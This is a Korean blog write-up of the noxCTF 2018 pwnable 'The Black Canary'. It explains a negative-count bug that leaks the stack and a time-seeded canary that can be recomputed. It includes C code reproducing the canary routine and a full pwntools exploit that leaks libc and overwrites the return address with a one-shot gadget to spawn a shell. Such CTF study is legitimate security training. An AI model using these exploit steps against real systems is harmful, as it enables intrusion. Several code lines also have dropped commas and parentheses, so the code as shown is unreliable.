noxCTF 2018에서 나온 The Black Canary라는 문제이다. 문제명에서 짐작할 수 있듯이 Canary를 우회해야한다.



"당신에게 세상을 구할수 있는 기회가 주어졌다. 그것을 낭비하지마라"

넹... 일단 nc와 바이너리가 주어집니다. 바이너리를 다운받아서 분석해봅시다.



카나리가 있다. 문제 이름부터가 블랙카나리이니 예상했던 바이다.

실행하면 아래와 같다.



5가지 메뉴가 있고 각각 인자를 추가, 수정, 제거, 출력하는 기능을 가지고 있다.

IDA를 이용해 분석해보면 아래의 3번 메뉴에서 취약점이 터지는 것을 찾을 수 있다.



여기서 many 변수에 인자를 몇개 삭제할 건지를 scanf로 받게되는데, 음수체크를 하지않아서 음수를 넣게되면

num -= many 에서 오히려 더하기가 되어 저장된 인자수를 증가시킬수 있다.



이렇게 원래라면 10개이상 생성이 되지않지만...



Remove 메뉴에서 consecutive 하게 삭제하는 메뉴를 선택하여 -10만큼 삭제하라고 하면...



이렇게 출력메뉴에서 현재 저장된 인자수가 10에서 -10을 빼게되어 20이 되어 스택의 내용이 출력된다.

그러므로 이제 인자 수정메뉴를 통해서 스택에 올라가있는 return address를 수정할 수 있는데, 문제는 여기서 10번째 인자를 수정하게 될때

카나리값이 포함되어 있어 return address를 새로 쓰는 과정에서 카나리가 변조되어 *** stack smashing detected ***: 이 뜨게 된다.


그럼 카나리값(Canary)을 leak해야하는 건가.. 싶었는데, 이게 사용자로부터 입력을 fgets함수로 받아서 \n은 null로 바꿔주고, 맨 마지막에 항상 null이 붙기때문에 null값을 제거해서 Canary를 leak하는 방식은 사용할 수 없다.


대체 어떻게해야하지 ㅁㄴㅇㄹ 여기서부터 CTF당시에 Canary를 leak도 못하고 뭘 어떻게해야할지몰라서 헤매다가 결국 못풀엇는데 ㅡㅡ; 의외로 해결법이 간단햇다... 게다가 내가 멍청했다;; 예전에 한번 정리해두고 써먹지를 못함 ㅡㅡ;

Stack Canary 우회 : https://xerxes-break.tistory.com/285



위 글에서 3. Canary 루틴 노출 : Canary를 만드는 루틴이 노출될 경우 역연산을 통해서 canary를 알아낼 수 있다.   이 부분이다.

IDA로 분석할 때, 제대로 보지않아서 생긴 대참사...

다시한번 IDA에서 함수들을 잘살펴보면 Canary값을 만드는 함수가 있다. sub_4008C7을 살펴보면 *MK_FP(__FS__, 40LL) = result를 저장하는데... 이게 카나리...



그리고 이 함수는 .init_array에 들어가 있는데, .init_array는 오브젝트 파일을 로드할 때 실행되는 함수의 포인터 배열이 있는 곳으로 프로그램이 실행되면 .init_array 섹션에서 함수 포인터를 호출하게 된다.



그러므로 프로그램이 시작하면 저기서 Canary값을 Set하게 되는것...

이제 저 루틴을 그대로 가져와서 그대로 사용해도 되고, Code patch를 통해서 출력하게 해도 된다.


Code patch가 더 간단할수도 있지만, 카나리 생성함수를 그대로 가져와서 C언어로 짜면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// gcc set_canary.c -g -o set_canary
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
/* #include <linux/types.h> */
/* # define unsigned __int8 __uint8_t */
/* # define unsigned __int16 __uint16_t */
/* # define unsigned __int16 __uint64_t */
# define _DWORD uint32_t
# define getenv(NULL0
# define LODWORD(x)  (*((_DWORD*)&(x)))  // low dword
 
__uint64_t set_canary()
{
  int v0; // ebx
  __uint64_t v1; // rbx
  int v2; // er12
  __uint64_t v3; // ST08_8
  time_t v4; // rbx
  __uint64_t v5; // ST08_8
  time_t v6; // ST08_8
  time_t v7; // ST08_8
  __uint64_t result; // rax
 
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (__uint64_t)(__uint8_t)(v0 ^ (__uint64_t)getenv(NULL)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((__uint64_t)(__uint8_t)(v2 ^ (__uint64_t)getenv(NULL)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (__uint16_t)((((__uint16_t)v4 ^ (__uint16_t)time(0LL)) << 8& 0xFF00+ v3;
  v6 = ((time(0LL) << 32& 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16+ v4;
  LODWORD(v4) = (time(0LL) >> 8+ v4;
  result = ((__uint64_t)(__uint8_t)(v4 + time(0LL)) << 40+ v7;
  /* __writefsqword(0x28u, result); */
  return result;
}
 
int main()
{
    printf("0x%lx\n", set_canary());
}
 
 
/* original
unsigned __int64 sub_4008C7()
{
  int v0; // ebx@1
  unsigned __int64 v1; // rbx@1
  int v2; // er12@1
  unsigned __int64 v3; // ST08_8@1
  time_t v4; // rbx@1
  unsigned __int64 v5; // ST08_8@1
  time_t v6; // ST08_8@1
  time_t v7; // ST08_8@1
  unsigned __int64 result; // rax@1
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (unsigned __int64)(unsigned __int8)(v0 ^ (unsigned __int64)getenv(name)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((unsigned __int64)(unsigned __int8)(v2 ^ (unsigned __int64)getenv(name)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (unsigned __int16)((((unsigned __int16)v4 ^ (unsigned __int16)time(0LL)) << 8) & 0xFF00) + v3;
  v6 = ((time(0LL) << 32) & 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16) + v4;
  LODWORD(v4) = (time(0LL) >> 8) + v4;
  result = ((unsigned __int64)(unsigned __int8)(v4 + time(0LL)) << 40) + v7;
  *MK_FP(__FS__, 40LL) = result;
  return result;
}
*/
cs



이제 return address를 oneshot_gadget으로 덮어주면 되겠다.

라이브러리주소는 인자 15번째에서 leak이 되므로, 거기서부터해서 oneshot까지 offset을 구해서 공격하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
from pwn import *
import os
#context.log_level = 'debug'
conn = remote("chal.noxale.com"6667)
 
def Print():
    conn.recvuntil("5. Let the world die")
    conn.sendline("1")
    
def Add(argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("2")
    conn.recvuntil("Enter your argument:")
    conn.sendline(argument)
 
def Edit(idx, argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("3")
    conn.recvuntil("Which argument would you like to edit?")
    conn.sendline(str(idx))
    conn.recvuntil("Enter your new argument:")
    conn.sendline(argument)
 
def Remove(select, idx, num,argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("4")
    conn.recvuntil("What would you like to do?")
    conn.sendline(str(select))
    conn.recvuntil("?")
    conn.sendline(str(idx))
    if select==2:
        conn.recvuntil("?")
        conn.sendline(str(num))
 
def WorldDie():
    conn.recvuntil("5. Let the world die")
    conn.sendline("5")
        
canary = int(os.popen("./get_canary").read().strip(),16)
log.info("canary : 0x%x" % canary)
        
for i in range(9):
    Add("a"*31)
 
Add("b"*31)
Remove(2,0,-6,"")
Print()
conn.recvuntil("15. ")
 
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x5f1168
log.info("libc_addr : 0x%x" % libc_addr)
oneshot = libc_addr + 0x45216
 
#ROP
payload = p64(0xdeadbeef)
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(oneshot)
 
Edit(10, payload[:-1])
WorldDie()
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18

+ Recent posts